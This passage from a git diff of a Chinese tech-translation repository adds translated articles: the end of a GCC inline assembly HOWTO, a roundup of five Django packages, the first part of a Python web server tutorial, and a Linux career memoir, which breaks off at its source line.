允许任一寄存器、内存或者立即整形操作数,不包括通用寄存器之外的寄存器。 + +以下约束为 x86 特有。 + +1. "r" : 寄存器操作数约束,查看上面给定的表格。 +2. "q" : 寄存器 a、b、c 或者 d。 +3. "I" : 范围从 0 到 31 的常量(对于 32 位移位)。 +4. "J" : 范围从 0 到 63 的常量(对于 64 位移位)。 +5. "K" : 0xff。 +6. "L" : 0xffff。 +7. "M" : 0、1、2 或 3 (lea 指令的移位)。 +8. "N" : 范围从 0 到 255 的常量(对于 out 指令)。 +9. "f" : 浮点寄存器 +10. "t" : 第一个(栈顶)浮点寄存器 +11. "u" : 第二个浮点寄存器 +12. "A" : 指定 `a` 或 `d` 寄存器。这主要用于想要返回 64 位整形数,使用 `d` 寄存器保存最高有效位和 `a` 寄存器保存最低有效位。 + +### 6.2 约束修饰符 + +当使用约束时,对于更精确的控制超过了对约束作用的需求,GCC 给我们提供了约束修饰符。最常用的约束修饰符为: + +1. "=" : 意味着对于这条指令,操作数为只写的;旧值会被忽略并被输出数据所替换。 +2. "&" : 意味着这个操作数为一个早期改动的操作数,其在该指令完成前通过使用输入操作数被修改了。因此,这个操作数不可以位于一个被用作输出操作数或任何内存地址部分的寄存器。如果在旧值被写入之前它仅用作输入而已,一个输入操作数可以为一个早期改动操作数。 + +上述的约束列表和解释并不完整。示例可以让我们对内联汇编的用途和用法更好的理解。在下一节,我们会看到一些示例,在那里我们会发现更多关于修饰寄存器列表的东西。 + +* * * + +## 7. 一些实用的诀窍 + +现在我们已经介绍了关于 GCC 内联汇编的基础理论,现在我们将专注于一些简单的例子。将内联汇编函数写成宏的形式总是非常方便的。我们可以在 Linux 内核代码里看到许多汇编函数。(usr/src/linux/include/asm/*.h)。 + +1. 首先我们从一个简单的例子入手。我们将写一个两个数相加的程序。 + + ``` + int main(void) + { + int foo = 10, bar = 15; + __asm__ __volatile__("addl %%ebx,%%eax" + :"=a"(foo) + :"a"(foo), "b"(bar) + ); + printf("foo+bar=%d\n", foo); + return 0; + } + ``` + + 这里我们要求 GCC 将 foo 存放于 %eax,将 bar 存放于 %ebx,同时我们也想要在 %eax 中存放结果。'=' 符号表示它是一个输出寄存器。现在我们可以以其他方式将一个整数加到一个变量。 + + ``` + __asm__ __volatile__( + " lock ;\n" + " addl %1,%0 ;\n" + : "=m" (my_var) + : "ir" (my_int), "m" (my_var) + : /* 无修饰寄存器列表 */ + ); + ``` + + 这是一个原子加法。为了移除原子性,我们可以移除指令 'lock'。在输出域中,"=m" 表明 my_var 是一个输出且位于内存。类似地,"ir" 表明 my_int 是一个整型,并应该存在于其他寄存器(回想我们上面看到的表格)。没有寄存器位于修饰寄存器列表中。 + +2. 现在我们将在一些寄存器/变量上展示一些操作,并比较值。 + + ``` + __asm__ __volatile__( "decl %0; sete %1" + : "=m" (my_var), "=q" (cond) + : "m" (my_var) + : "memory" + ); + ``` + + 这里,my_var 的值减 1 ,并且如果结果的值为 0,则变量 cond 置 1。我们可以通过将指令 "lock;\n\t" 添加为汇编模板的第一条指令以增加原子性。 + + 以类似的方式,为了增加 my_var,我们可以使用 "incl %0" 而不是 "decl %0"。 + + 这里需要注意的地方是(i)my_var 是一个存储于内存的变量。(ii)cond 位于寄存器 eax、ebx、ecx、edx 中的任何一个。约束 "=q" 保证了这一点。(iii)同时我们可以看到 memory 位于修饰寄存器列表中。也就是说,代码将改变内存中的内容。 + +3. 如何置 1 或清 0 寄存器中的一个比特位。作为下一个诀窍,我们将会看到它。 + + ``` + __asm__ __volatile__( "btsl %1,%0" + : "=m" (ADDR) + : "Ir" (pos) + : "cc" + ); + ``` + + 这里,ADDR 变量(一个内存变量)的 'pos' 位置上的比特被设置为 1。我们可以使用 'btrl' 来清除由 'btsl' 设置的比特位。pos 的约束 "Ir" 表明 pos 位于寄存器,并且它的值为 0-31(x86 相关约束)。也就是说,我们可以设置/清除 ADDR 变量上第 0 到 31 位的任一比特位。因为条件码会被改变,所以我们将 "cc" 添加进修饰寄存器列表。 + +4. 现在我们看看一些更为复杂而有用的函数。字符串拷贝。 + + ``` + static inline char * strcpy(char * dest,const char *src) + { + int d0, d1, d2; + __asm__ __volatile__( "1:\tlodsb\n\t" + "stosb\n\t" + "testb %%al,%%al\n\t" + "jne 1b" + : "=&S" (d0), "=&D" (d1), "=&a" (d2) + : "0" (src),"1" (dest) + : "memory"); + return dest; + } + ``` + + 源地址存放于 esi,目标地址存放于 edi,同时开始拷贝,当我们到达 **0** 时,拷贝完成。约束 "&S"、"&D"、"&a" 表明寄存器 esi、edi 和 eax 早期修饰寄存器,也就是说,它们的内容在函数完成前会被改变。这里很明显可以知道为什么 "memory" 会放在修饰寄存器列表。 + + 我们可以看到一个类似的函数,它能移动双字块数据。注意函数被声明为一个宏。 + + ``` + #define mov_blk(src, dest, numwords) \ + __asm__ __volatile__ ( \ + "cld\n\t" \ + "rep\n\t" \ + "movsl" \ + : \ + : "S" (src), "D" (dest), "c" (numwords) \ + : "%ecx", "%esi", "%edi" \ + ) + ``` + + 这里我们没有输出,寄存器 ecx、esi和 edi 的内容发生了改变,这是块移动的副作用。因此我们必须将它们添加进修饰寄存器列表。 + +5. 在 Linux 中,系统调用使用 GCC 内联汇编实现。让我们看看如何实现一个系统调用。所有的系统调用被写成宏(linux/unistd.h)。例如,带有三个参数的系统调用被定义为如下所示的宏。 + + ``` + type name(type1 arg1,type2 arg2,type3 arg3) \ + { \ + long __res; \ + __asm__ volatile ( "int $0x80" \ + : "=a" (__res) \ + : "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \ + "d" ((long)(arg3))); \ + __syscall_return(type,__res); \ + } + ``` + + 无论何时调用带有三个参数的系统调用,以上展示的宏就会用于执行调用。系统调用号位于 eax 中,每个参数位于 ebx、ecx、edx 中。最后 "int 0x80" 是一条用于执行系统调用的指令。返回值被存储于 eax 中。 + + 每个系统调用都以类似的方式实现。Exit 是一个单一参数的系统调用,让我们看看它的代码看起来会是怎样。它如下所示。 + + ``` + { + asm("movl $1,%%eax; /* SYS_exit is 1 */ + xorl %%ebx,%%ebx; /* Argument is in ebx, it is 0 */ + int $0x80" /* Enter kernel mode */ + ); + } + ``` + + Exit 的系统调用号是 1,同时它的参数是 0。因此我们分配 eax 包含 1,ebx 包含 0,同时通过 `int $0x80` 执行 `exit(0)`。这就是 exit 的工作原理。 + +* * * + +## 8. 结束语 + +这篇文档已经将 GCC 内联汇编过了一遍。一旦你理解了基本概念,你就可以按照自己的需求去使用它们了。我们看了许多例子,它们有助于理解 GCC 内联汇编的常用特性。 + +GCC 内联是一个极大的主题,这篇文章是不完整的。更多关于我们讨论过的语法细节可以在 GNU 汇编器的官方文档上获取。类似地,要获取完整的约束列表,可以参考 GCC 的官方文档。 + +当然,Linux 内核大量地使用了 GCC 内联。因此我们可以在内核源码中发现许多各种各样的例子。它们可以帮助我们很多。 + +如果你发现任何的错别字,或者本文中的信息已经过时,请告诉我们。 + +* * * + +## 9. 参考 + +1. [Brennan’s Guide to Inline Assembly](http://www.delorie.com/djgpp/doc/brennan/brennan_att_inline_djgpp.html) +2. [Using Assembly Language in Linux](http://linuxassembly.org/articles/linasm.html) +3. [Using as, The GNU Assembler](http://www.gnu.org/manual/gas-2.9.1/html_mono/as.html) +4. [Using and Porting the GNU Compiler Collection (GCC)](http://gcc.gnu.org/onlinedocs/gcc_toc.html) +5. [Linux Kernel Source](http://ftp.kernel.org/) + +* * * + +via: http://www.ibiblio.org/gferg/ldp/GCC-Inline-Assembly-HOWTO.html + + 作者:[Sandeep.S](mailto:busybox@sancharnet.in) 译者:[cposture](https://github.com/cposture) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201608/20160306 5 Favorite Open Source Django Packages.md b/published/201608/20160306 5 Favorite Open Source Django Packages.md new file mode 100644 index 0000000000..8c73c702e1 --- /dev/null +++ b/published/201608/20160306 5 Favorite Open Source Django Packages.md @@ -0,0 +1,161 @@ +5 个最受人喜爱的开源 Django 包 +================================================================================ + +![Yearbook cover 2015](https://opensource.com/sites/default/files/styles/image-full-size/public/u23316/osdc-open-source-yearbook-lead8.png?itok=0_5-hdFE) + +图片来源:Opensource.com + +_Jacob Kaplan-Moss 和 Frank Wiles 也参与了本文的写作。_ + +Django 围绕“[可重用应用][1]”的思想建立:自包含的包提供了可重复使用的特性。你可以将这些可重用应用组装起来,在加上适用于你的网站的特定代码,来搭建你自己的网站。Django 具有一个丰富多样的、由可供你使用的可重用应用组建起来的生态系统——PyPI 列出了[超过 8000个 Django 应用][2]——可你该如何知道哪些是最好的呢? + +为了节省你的时间,我们总结了五个最受喜爱的 Django 应用。它们是: + +- [Cookiecutter][3]: 建立 Django 网站的最佳方式。 +- [Whitenoise][4]: 最棒的静态资源服务器。 +- [Django Rest Framework][5]: 使用 Django 开发 REST API 的最佳方式。 +- [Wagtail][6]: 基于 Django 的最佳内容管理系统(CMS)。 +- [django-allauth][7]: 提供社交账户登录的最佳应用(如 Twitter, Facebook, GitHub 等)。 + +我们同样推荐你看看 [Django Packages][8],这是一个可重用 Django 应用的目录。Django Packages 将 Django 应用组织成“表格”,你可以在功能相似的不同应用之间进行比较并做出选择。你可以查看每个包中提供的特性和使用统计情况。(比如:这是[ REST 工具的表格][9],也许可以帮助你理解我们为何推荐 Django REST Framework。 + +### 为什么你应该相信我们? + +我们使用 Django 的时间几乎比任何人都长。在 Django 发布之前,我们当中的两个人(Frank 和 Jacob)就在 [Lawrence Journal-World][10] (Django 的发源地)工作(事实上,是他们两人推动了 Django 开源发布的进程)。我们在过去的八年当中运行着一个咨询公司,来建议公司怎样最好地应用 Django。 + +所以,我们见证了 Django 项目和社群的完整历史,我们见证了那些流行的软件包的兴起和没落。在我们三个之中,我们个人可能试用了 8000 个应用中至少一半以上,或者我们知道谁试用过这些。我们对如何使应用变得坚实可靠有着深刻的理解,并且我们对给予这些应用持久力量的来源也有着深入的了解。 + +### 建立 Django 网站的最佳方式:[Cookiecutter][3] + +建立一个新项目或应用总是有些痛苦。你可以用 Django 内建的 `startproject`。不过,如果你像我们一样,对如何做事比较挑剔。Cookiecutter 为你提供了一个快捷简单的方式来构建项目或易于重用的应用模板,从而解决了这个问题。一个简单的例子:键入 `pip install cookiecutter`,然后在命令行中运行以下命令: + +```bash +$ cookiecutter https://github.com/marcofucci/cookiecutter-simple-django +``` + +接下来你需要回答几个简单的问题,比如你的项目名称、目录(repo)、作者名字、E-Mail 和其他几个关于配置的小问题。这些能够帮你补充项目相关的细节。我们使用最最原始的 “_foo_” 作为我们的目录名称。所以 cokkiecutter 在子目录 “_foo_” 下建立了一个简单的 Django 项目。 + +如果你在 “_foo_” 项目中闲逛,你会看见你刚刚选择的其它设置已通过模板,连同所需的子目录一同嵌入到文件当中。这个“模板”在我们刚刚在执行 `cookiecutter` 命令时输入的唯一一个参数 Github 仓库 URL 中定义。这个样例工程使用了一个 Github 远程仓库作为模板;不过你也可以使用本地的模板,这在建立非重用项目时非常有用。 + +我们认为 cookiecutter 是一个极棒的 Django 包,但是,事实上其实它在面对纯 Python 甚至非 Python 相关需求时也极为有用。你能够将所有文件以一种可重复的方式精确地摆放在任何位置上,使得 cookiecutter 成为了一个简化(DRY)工作流程的极佳工具。 + +### 最棒的静态资源服务器:[Whitenoise][4] + +多年来,托管网站的静态资源——图片、Javascript、CSS——都是一件很痛苦的事情。Django 内建的 [django.views.static.serve][11] 视图,就像 Django 文章所述的那样,“在生产环境中不可靠,所以只应为开发环境的提供辅助功能。”但使用一个“真正的” Web 服务器,如 NGINX 或者借助 CDN 来托管媒体资源,配置起来会比较困难。 + +Whitenoice 很简洁地解决了这个问题。它可以像在开发环境那样轻易地在生产环境中设置静态服务器,并且针对生产环境进行了加固和优化。它的设置方法极为简单: + +1. 确保你在使用 Django 的 [contrib.staticfiles][12] 应用,并确认你在配置文件中正确设置了 `STATIC_ROOT` 变量。 + +2. 在 `wsgi.py` 文件中启用 Whitenoise: + + ```python + from django.core.wsgi import get_wsgi_application + from whitenoise.django import DjangoWhiteNoise + + application = get_wsgi_application() + application = DjangoWhiteNoise(application) + ``` + +配置它真的就这么简单!对于大型应用,你可能想要使用一个专用的媒体服务器和/或一个 CDN,但对于大多数小型或中型 Django 网站,Whitenoise 已经足够强大。 + +如需查看更多关于 Whitenoise 的信息,[请查看文档][13]。 + +### 开发 REST API 的最佳工具:[Django REST Framework][5] + +REST API 正在迅速成为现代 Web 应用的标准功能。 API 就是简单的使用 JSON 对话而不是 HTML,当然你可以只用 Django 做到这些。你可以制作自己的视图,设置合适的 `Content-Type`,然后返回 JSON 而不是渲染后的 HTML 响应。这是在像 [Django Rest Framework][14](下称 DRF)这样的 API 框架发布之前,大多数人所做的。 + +如果你对 Django 的视图类很熟悉,你会觉得使用 DRF 构建 REST API 与使用它们很相似,不过 DRF 只针对特定 API 使用场景而设计。一般的 API 设置只需要一点代码,所以我们没有提供一份让你兴奋的示例代码,而是强调了一些可以让你生活的更舒适的 DRF 特性: + +* 可自动预览的 API 可以使你的开发和人工测试轻而易举。你可以查看 DRF 的[示例代码][15]。你可以查看 API 响应,并且不需要你做任何事就可以支持 POST/PUT/DELETE 类型的操作。 +* 便于集成各种认证方式,如 OAuth, Basic Auth, 或API Tokens。 +* 内建请求速率限制。 +* 当与 [django-rest-swagger][16] 组合使用时,API 文档几乎可以自动生成。 +* 广泛的第三方库生态。 + +当然,你可以不依赖 DRF 来构建 API,但我们无法想象你不去使用 DRF 的原因。就算你不使用 DRF 的全部特性,使用一个成熟的视图库来构建你自己的 API 也会使你的 API 更加一致、完全,更能提高你的开发速度。如果你还没有开始使用 DRF, 你应该找点时间去体验一下。 + +### 基于 Django 的最佳 CMS:[Wagtail][6] + +Wagtail 是当下 Django CMS(内容管理系统)世界中最受人青睐的应用,并且它的热门有足够的理由。就像大多数的 CMS 一样,它具有极佳的灵活性,可以通过简单的 Django 模型来定义不同类型的页面及其内容。使用它,你可以从零开始在几个小时而不是几天之内来和建造一个基本可以运行的内容管理系统。举一个小例子,为你公司的员工定义一个员工页面类型可以像下面一样简单: + +```python +from wagtail.wagtailcore.models import Page +from wagtail.wagtailcore.fields import RichTextField +from wagtail.wagtailadmin.edit_handlers import FieldPanel, MultiFieldPanel +from wagtail.wagtailimages.edit_handlers import ImageChooserPanel + +class StaffPage(Page): + name = models.CharField(max_length=100) + hire_date = models.DateField() + bio = models.RichTextField() + email = models.EmailField() + headshot = models.ForeignKey('wagtailimages.Image', null=True, blank=True) + content_panels = Page.content_panels + [ + FieldPanel('name'), + FieldPanel('hire_date'), + FieldPanel('email'), + FieldPanel('bio',classname="full"), + ImageChoosePanel('headshot'), + ] +``` + +然而,Wagtail 真正出彩的地方在于它的灵活性及其易于使用的现代化管理页面。你可以控制不同类型的页面在哪网站的哪些区域可以访问,为页面添加复杂的附加逻辑,还天生就支持标准的适应/审批工作流。在大多数 CMS 系统中,你会在开发时在某些点上遇到困难。而使用 Wagtail 时,我们经过不懈努力找到了一个突破口,使得让我们轻易地开发出一套简洁稳定的系统,使得程序完全依照我们的想法运行。如果你对此感兴趣,我们写了一篇[深入理解 Wagtail][17。 + +### 提供社交账户登录的最佳工具:[django-allauth][7] + +django-allauth 是一个能够解决你的注册和认证需求的、可重用的 Django 应用。无论你需要构建本地注册系统还是社交账户注册系统,django-allauth 都能够帮你做到。 + +这个应用支持多种认证体系,比如用户名或电子邮件。一旦用户注册成功,它还可以提供从无需认证到电子邮件认证的多种账户验证的策略。同时,它也支持多种社交账户和电子邮件账户。它还支持插拔式注册表单,可让用户在注册时回答一些附加问题。 + +django-allauth 支持多于 20 种认证提供者,包括 Facebook、Github、Google 和 Twitter。如果你发现了一个它不支持的社交网站,很有可能通过第三方插件提供该网站的接入支持。这个项目还支持自定义后端,可以支持自定义的认证方式,对每个有定制认证需求的人来说这都很棒。 + +django-allauth 易于配置,且有[完善的文档][18]。该项目通过了很多测试,所以你可以相信它的所有部件都会正常运作。 + +你有最喜爱的 Django 包吗?请在评论中告诉我们。 + +### 关于作者 + +![Photo](https://opensource.com/sites/default/files/styles/profile_pictures/public/pictures/main-one-i-use-everywhere.png?itok=66GC-D1q) + +*Jeff Triplett 劳伦斯,堪萨斯州 * + +我在 2007 年搬到了堪萨斯州的劳伦斯,在 Django 的发源地—— Lawrence Journal-World 工作。我现在在劳伦斯市的 [Revolution Systems (Revsys)][19] 工作,做一位开发者兼顾问。 + +我是[北美 Django 运动基金会(DEFNA)][20]的联合创始人,2015 和 2016 年 [DjangoCon US][21] 的会议主席,而且我在 Django 的发源地劳伦斯参与组织了 [Django Birthday][22] 来庆祝 Django 的 10 岁生日。 + +我是当地越野跑小组的成员,我喜欢篮球,我还喜欢梦见自己随着一道气流游遍美国。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/business/15/12/5-favorite-open-source-django-packages + +作者:[Jeff Triplett][a] +译者:[StdioA](https://github.com/StdioA) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:https://opensource.com/users/jefftriplett +[1]:https://docs.djangoproject.com/en/1.8/intro/reusable-apps/ +[2]:https://pypi.python.org/pypi?:action=browse&c=523 +[3]:https://github.com/audreyr/cookiecutter +[4]:http://whitenoise.evans.io/en/latest/base.html +[5]:http://www.django-rest-framework.org/ +[6]:https://wagtail.io/ +[7]:http://www.intenct.nl/projects/django-allauth/ +[8]:https://www.djangopackages.com/ +[9]:https://www.djangopackages.com/grids/g/rest/ +[10]:http://www2.ljworld.com/news/2015/jul/09/happy-birthday-django/ +[11]:https://docs.djangoproject.com/en/1.8/ref/views/#django.views.static.serve +[12]:https://docs.djangoproject.com/en/1.8/ref/contrib/staticfiles/ +[13]:http://whitenoise.evans.io/en/latest/index.html +[14]:http://www.django-rest-framework.org/ +[15]:http://restframework.herokuapp.com/ +[16]:http://django-rest-swagger.readthedocs.org/en/latest/index.html +[17]:https://opensource.com/business/15/5/wagtail-cms +[18]:http://django-allauth.readthedocs.org/en/latest/ +[19]:http://www.revsys.com/ +[20]:http://defna.org/ +[21]:https://2015.djangocon.us/ +[22]:https://djangobirthday.com/ diff --git "a/published/201608/20160309 Let\342\200\231s Build A Web Server. Part 1.md" "b/published/201608/20160309 Let\342\200\231s Build A Web Server. Part 1.md" new file mode 100644 index 0000000000..d55d5720d2 --- /dev/null +++ "b/published/201608/20160309 Let\342\200\231s Build A Web Server. Part 1.md" @@ -0,0 +1,150 @@ +搭个 Web 服务器(一) +===================================== + +一天,有一个正在散步的妇人恰好路过一个建筑工地,看到三个正在工作的工人。她问第一个人:“你在做什么?”第一个人没好气地喊道:“你没看到我在砌砖吗?”妇人对这个答案不满意,于是问第二个人:“你在做什么?”第二个人回答说:“我在建一堵砖墙。”说完,他转向第一个人,跟他说:“嗨,你把墙砌过头了。去把刚刚那块砖弄下来!”然而,妇人对这个答案依然不满意,于是又问了第三个人相同的问题。第三个人仰头看着天,对她说:“我在建造世界上最大的教堂。”当他回答时,第一个人和第二个人在为刚刚砌错的砖而争吵。他转向那两个人,说:“不用管那块砖了。这堵墙在室内,它会被水泥填平,没人会看见它的。去砌下一层吧。” + +这个故事告诉我们:如果你能够理解整个系统的构造,了解系统的各个部件如何相互结合(如砖、墙还有整个教堂),你就能够更快地定位及修复问题(那块砌错的砖)。 + +如果你想从头开始创造一个 Web 服务器,那么你需要做些什么呢? + +我相信,如果你想成为一个更好的开发者,你**必须**对日常使用的软件系统的内部结构有更深的理解,包括编程语言、编译器与解释器、数据库及操作系统、Web 服务器及 Web 框架。而且,为了更好更深入地理解这些系统,你**必须**从头开始,用一砖一瓦来重新构建这个系统。 + +荀子曾经用这几句话来表达这种思想: + +>“不闻不若闻之。(I hear and I forget.)” + +![](https://ruslanspivak.com/lsbasi-part4/LSBAWS_confucius_hear.png) + +>“闻之不若见之。(I see and I remember.)” + +![](https://ruslanspivak.com/lsbasi-part4/LSBAWS_confucius_see.png) + +>“知之不若行之。(I do and I understand.)” + +![](https://ruslanspivak.com/lsbasi-part4/LSBAWS_confucius_do.png) + +我希望你现在能够意识到,重新建造一个软件系统来了解它的工作方式是一个好主意。 + +在这个由三篇文章组成的系列中,我将会教你构建你自己的 Web 服务器。我们开始吧~ + +先说首要问题:Web 服务器是什么? + +![](https://ruslanspivak.com/lsbaws-part1/LSBAWS_HTTP_request_response.png) + +简而言之,它是一个运行在一个物理服务器上的网络服务器(啊呀,服务器套服务器),等待客户端向其发送请求。当它接收请求后,会生成一个响应,并回送至客户端。客户端和服务端之间通过 HTTP 协议来实现相互交流。客户端可以是你的浏览器,也可以是使用 HTTP 协议的其它任何软件。 + +最简单的 Web 服务器实现应该是什么样的呢?这里我给出我的实现。这个例子由 Python 写成,即使你没听说过 Python(它是一门超级容易上手的语言,快去试试看!),你也应该能够从代码及注释中理解其中的理念: + +``` +import socket + +HOST, PORT = '', 8888 + +listen_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +listen_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) +listen_socket.bind((HOST, PORT)) +listen_socket.listen(1) +print 'Serving HTTP on port %s ...' % PORT +while True: + client_connection, client_address = listen_socket.accept() + request = client_connection.recv(1024) + print request + + http_response = """\ +HTTP/1.1 200 OK + +Hello, World! +""" + client_connection.sendall(http_response) + client_connection.close() +``` + +将以上代码保存为 webserver1.py,或者直接从 [GitHub][1] 上下载这个文件。然后,在命令行中运行这个程序。像这样: + +``` +$ python webserver1.py +Serving HTTP on port 8888 … +``` + +现在,在你的网页浏览器的地址栏中输入 URL:http://localhost:8888/hello ,敲一下回车,然后来见证奇迹。你应该看到“Hello, World!”显示在你的浏览器中,就像下图那样: + +![](https://ruslanspivak.com/lsbaws-part1/browser_hello_world.png) + +说真的,快去试一试。你做实验的时候,我会等着你的。 + +完成了?不错!现在我们来讨论一下它实际上是怎么工作的。 + +首先我们从你刚刚输入的 Web 地址开始。它叫 [URL][2],这是它的基本结构: + +![](https://ruslanspivak.com/lsbaws-part1/LSBAWS_URL_Web_address.png) + +URL 是一个 Web 服务器的地址,浏览器用这个地址来寻找并连接 Web 服务器,并将上面的内容返回给你。在你的浏览器能够发送 HTTP 请求之前,它需要与 Web 服务器建立一个 TCP 连接。然后会在 TCP 连接中发送 HTTP 请求,并等待服务器返回 HTTP 响应。当你的浏览器收到响应后,就会显示其内容,在上面的例子中,它显示了“Hello, World!”。 + +我们来进一步探索在发送 HTTP 请求之前,客户端与服务器建立 TCP 连接的过程。为了建立链接,它们使用了所谓“套接字(socket)”。我们现在不直接使用浏览器发送请求,而在命令行中使用 `telnet` 来人工模拟这个过程。 + +在你运行 Web 服务器的电脑上,在命令行中建立一个 telnet 会话,指定一个本地域名,使用端口 8888,然后按下回车: + +``` +$ telnet localhost 8888 +Trying 127.0.0.1 … +Connected to localhost. +``` + +这个时候,你已经与运行在你本地主机的服务器建立了一个 TCP 连接。在下图中,你可以看到一个服务器从头开始,到能够建立 TCP 连接的基本过程。 + +![](https://ruslanspivak.com/lsbaws-part1/LSBAWS_socket.png) + +在同一个 telnet 会话中,输入 `GET /hello HTTP/1.1`,然后输入回车: + +``` +$ telnet localhost 8888 +Trying 127.0.0.1 … +Connected to localhost. +GET /hello HTTP/1.1 + +HTTP/1.1 200 OK +Hello, World! +``` + +你刚刚手动模拟了你的浏览器(的工作)!你发送了 HTTP 请求,并且收到了一个 HTTP 应答。下面是一个 HTTP 请求的基本结构: + +![](https://ruslanspivak.com/lsbaws-part1/LSBAWS_HTTP_request_anatomy.png) + +HTTP 请求的第一行由三部分组成:HTTP 方法(`GET`,因为我们想让我们的服务器返回一些内容),以及标明所需页面的路径 `/hello`,还有协议版本。 + +为了简单一些,我们刚刚构建的 Web 服务器完全忽略了上面的请求内容。你也可以试着输入一些无用内容而不是“GET /hello HTTP/1.1”,但你仍然会收到一个“Hello, World!”响应。 + +一旦你输入了请求行并敲了回车,客户端就会将请求发送至服务器;服务器读取请求行,就会返回相应的 HTTP 响应。 + +下面是服务器返回客户端(在上面的例子里是 telnet)的响应内容: + +![](https://ruslanspivak.com/lsbaws-part1/LSBAWS_HTTP_response_anatomy.png) + +我们来解析它。这个响应由三部分组成:一个状态行 `HTTP/1.1 200 OK`,后面跟着一个空行,再下面是响应正文。 + +HTTP 响应的状态行 HTTP/1.1 200 OK 包含了 HTTP 版本号,HTTP 状态码以及 HTTP 状态短语“OK”。当浏览器收到响应后,它会将响应正文显示出来,这也就是为什么你会在浏览器中看到“Hello, World!”。 + +以上就是 Web 服务器的基本工作模型。总结一下:Web 服务器创建一个处于监听状态的套接字,循环接收新的连接。客户端建立 TCP 连接成功后,会向服务器发送 HTTP 请求,然后服务器会以一个 HTTP 响应做应答,客户端会将 HTTP 的响应内容显示给用户。为了建立 TCP 连接,客户端和服务端均会使用套接字。 + +现在,你应该了解了 Web 服务器的基本工作方式,你可以使用浏览器或其它 HTTP 客户端进行试验。如果你尝试过、观察过,你应该也能够使用 telnet,人工编写 HTTP 请求,成为一个“人形” HTTP 客户端。 + +现在留一个小问题:“你要如何在不对程序做任何改动的情况下,在你刚刚搭建起来的 Web 服务器上适配 Django, Flask 或 Pyramid 应用呢?” + +我会在本系列的第二部分中来详细讲解。敬请期待。 + +顺便,我在撰写一本名为《搭个 Web 服务器:从头开始》的书。这本书讲解了如何从头开始编写一个基本的 Web 服务器,里面包含本文中没有的更多细节。订阅邮件列表,你就可以获取到这本书的最新进展,以及发布日期。 + +-------------------------------------------------------------------------------- + +via: https://ruslanspivak.com/lsbaws-part1/ + +作者:[Ruslan][a] +译者:[StdioA](https://github.com/StdioA) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://linkedin.com/in/ruslanspivak/ +[1]: https://github.com/rspivak/lsbaws/blob/master/part1/webserver1.py +[2]: http://en.wikipedia.org/wiki/Uniform_resource_locator + diff --git a/published/201608/20160316 Growing a career alongside Linux.md b/published/201608/20160316 Growing a career alongside Linux.md new file mode 100644 index 0000000000..d536dea1bb --- /dev/null +++ b/published/201608/20160316 Growing a career alongside Linux.md @@ -0,0 +1,49 @@ +伴随 Linux 成长的职业生涯 +================================== + +![](https://opensource.com/sites/default/files/styles/image-full-size/public/images/business/OPENHERE_blue.png?itok=3eqp-7gT) + +我与 Linux 的故事开始于 1998 年,一直延续到今天。 当时我在 Gap 公司工作,管理着成千台运行着 [OS/2][1] 系统的台式机 ( 在随后的几年里变成了 [Warp 3.0][2])。 作为一个 OS/2 的粉丝,那时我非常喜欢那个时候。 随着这些台式机的嗡鸣,我们使用 Gap 开发的工具轻而易举地就能支撑起对成千的用户的服务支持。 然而,一切都将改变了。 + +在 1998 年的 11 月, 我收到邀请加入一个新成立的公司,这家公司将专注于企业级 Linux 上。 这就是后来非常出名的 [Linuxcare][2]。 + +### 我在 Linuxcare 的时光 + +我曾经接触过一些 Linux , 但我从未想过要把它提供给企业客户。仅仅几个月后 ( 从这里开始成为了空间和时间上的转折点 ), 我就在管理一整条线的业务,让企业获得他们的软件,硬件,甚至是证书认证等各种在当时非常盛行的 Linux 服务。 + +我支持的客户包括像 IBM ,Dell ,HP 这样的厂商以确保他们的硬件能够成功的运行 Linux 。 今天你们应该都听过许多关于在硬件上预装 Linux 的事, 但当时 Dell 邀请我去讨论为即将到来的贸易展上将 Linux 运行在认证的笔记本电脑上。 这是多么激动人心的时刻 !同时我们在之后几年内也支持了 IBM 和 HP 等多项认证工作。 + +Linux 变化得非常快,并且它总是这样。 它也获得了更多的关键设备的支持,比如声音,网络和图形。在这段时间, 我把个人使用的系统从基于 RPM 的系统换成了 [Debian][3] 。 + +### 使用 Linux 的这些年 + +几年前我在一些做 Linux 硬件设备、Linux 定制软件以及 Linux 数据中心的公司工作。而在二十世纪中期的时候,那时我正在忙为那些在雷蒙德附近(微软公司所在地)的大一些的软件公司做咨询工作,为他们对比 Linux 解决方案及其自己的解决方案做分析和验证。 我个人使用的系统一直没有改变,我仍会在尽可能的情况下运行 Debian 测试系统。 + +我真的非常欣赏发行版的灵活性和永久更新状态。 Debian 是我所使用过的最有趣且拥有良好支持的发行版,并且它拥有最好的社区,而我是社区的一份子。 + +当我回首我使用 Linux 的这几年,我仍记得大约在二十世纪前期和中期的时候在圣何塞,旧金山,波士顿和纽约召开的那些 Linux Expo 大会。在 Linuxcare 时我们总是会摆一些有趣而且时髦的展位,在那边逛的时候总会碰到一些老朋友。这一切工作都是需要付出代价的,所有的这一切都是在努力地强调使用 Linux 的乐趣。 + +随着虚拟化和云的崛起也让 Linux 变得更加有趣。 当我在 Linuxcare 的时候, 我们常和斯坦福大学附近的帕洛阿尔托的一个约 30 人左右的小公司在一块。我们会开车到他们的办公处,然后帮他们准备和我们一起参加展览的东西。 谁会想得到这个小小的初创公司会成就后来的 VMware ? + +我还有许多的故事,能认识这些人并和他们一起工作我感到很幸运。 Linux 在各方面都不断发展且变得尤为重要。 并且甚至随着它重要性的提升,它使用起来仍然非常有趣。 我认为它的开放性和可定制能力给它带来了大量的新用户,这也是让我感到非常震惊的一点。 + +### 现在 + +在过去的五年里我的工作重心逐渐离开 Linux。 我所管理的大规模基础设施项目中包含着许多不同的操作系统 ( 包括非开源的和开源的 ), 但我的心一直以来都是和 Linux 在一起的。 + +在使用 Linux 过程中的乐趣和不断进步是在过去的 18 年里一直驱动我的动力。我从 Linux 2.0 内核开始看着它变成现在的这样。 Linux 是一个卓越的、生机勃勃的且非常酷的东西。 + +-------------------------------------------------------------------------------- + +via: 